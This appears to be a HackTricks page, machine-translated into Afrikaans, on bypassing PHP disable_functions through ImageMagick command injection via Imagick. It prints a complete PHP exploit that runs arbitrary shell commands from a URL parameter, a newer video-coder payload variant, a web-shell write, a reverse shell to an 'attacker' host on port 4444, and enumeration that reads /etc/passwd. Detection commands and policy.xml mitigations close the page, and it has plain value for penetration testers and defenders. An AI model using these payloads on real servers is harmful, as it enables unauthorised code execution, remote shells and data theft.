Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass
Reading time: 5 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Die bekende ImageTragick familie van foute (CVE-2016-3714 ens.) laat 'n aanvaller toe om die onderliggende ImageMagick binêre te bereik deur middel van vervaardigde MVG/SVG invoer. Wanneer die PHP uitbreiding Imagick teenwoordig is, kan dit misbruik word om shell-opdragte uit te voer, selfs al is elke uitvoeringsgerigte PHP funksie op die swartlys met
disable_functions
.Die oorspronklike PoC wat deur RicterZ (Chaitin Security Research Lab) in Mei 2016 gepubliseer is, word hieronder herhaal. Die tegniek word steeds gereeld teëgekom tydens hedendaagse PHP 7/8 ouditte omdat baie gedeelde-gasheer verskaffers eenvoudig PHP saamstel sonder
exec
/system
maar 'n verouderde Imagick + ImageMagick kombinasie behou.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Waarom werk dit?
Imagick::readImage()
genereer deursigtig die ImageMagick delegate (convert
/magick
) binêre.- Die MVG-skrip stel die fill op 'n eksterne URI. Wanneer 'n dubbele aanhalingstekens (
"
) ingespuit word, word die oorblywende deel van die lyn geïnterpreteer deur/bin/sh ‑c
wat ImageMagick intern gebruik → arbitrêre shell-uitvoering. - Alles gebeur buite die PHP-interpretator, daarom word
disable_functions
, open_basedir,safe_mode
(verwyder in PHP 5.4) en soortgelyke in-proses beperkings heeltemal omseil.
2025 status – dit is nog steeds relevant
- Enige Imagick weergawe wat op 'n kwesbare ImageMagick agtergrond staatmaak, bly uitbuitbaar. In laboratoriumtoetse werk dieselfde payload op PHP 8.3 met Imagick 3.7.0 en ImageMagick 7.1.0-51 saamgestel sonder 'n verhardde
policy.xml
. - Sedert 2020 is verskeie addisionele opdrag-inspuitingsvektore gevind (
video:pixel-format
,ps:
,text:
coders…). Twee onlangse openbare voorbeelde is: - CVE-2020-29599 – shell-inspuiting via die text: coder.
- GitHub issue #6338 (2023) – inspuiting in die video: delegate.
As die bedryfstelsel ImageMagick < 7.1.1-11 (of 6.x < 6.9.12-73) sonder 'n beperkende beleidslêer verskaf, is uitbuiting eenvoudig.
Moderne payload variasies
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
Ander nuttige primitiewe tydens CTFs / werklike betrokkenhede:
- Lêer skryf –
... > /var/www/html/shell.php
(skryf web-skal buiten open_basedir) - Terugskakel –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
- Enumerate –
id; uname -a; cat /etc/passwd
Vinige opsporing & enumerasie
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
As die uitvoer die MVG
of URL
coders as geaktiveer toon, is die teiken waarskynlik kwesbaar.
Versagtings
- Patches/Opgradering – Gebruik ImageMagick ≥ 7.1.1-11 (of die nuutste 6.x LTS) en Imagick ≥ 3.7.2.
- Versterk
policy.xml
– spesifiek deaktiveer hoë-risiko coders:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- Verwyder die uitbreiding op onbetroubare gasheeromgewings. In die meeste webstapels is
GD
ofImagick
nie streng nodig nie. - Behandel
disable_functions
slegs as verdediging-in-diepte – nooit as 'n primêre sandboksmeganisme nie.
Verwysings
- GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)
- CVE-2020-29599 – ImageMagick shell injection via text: coder
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.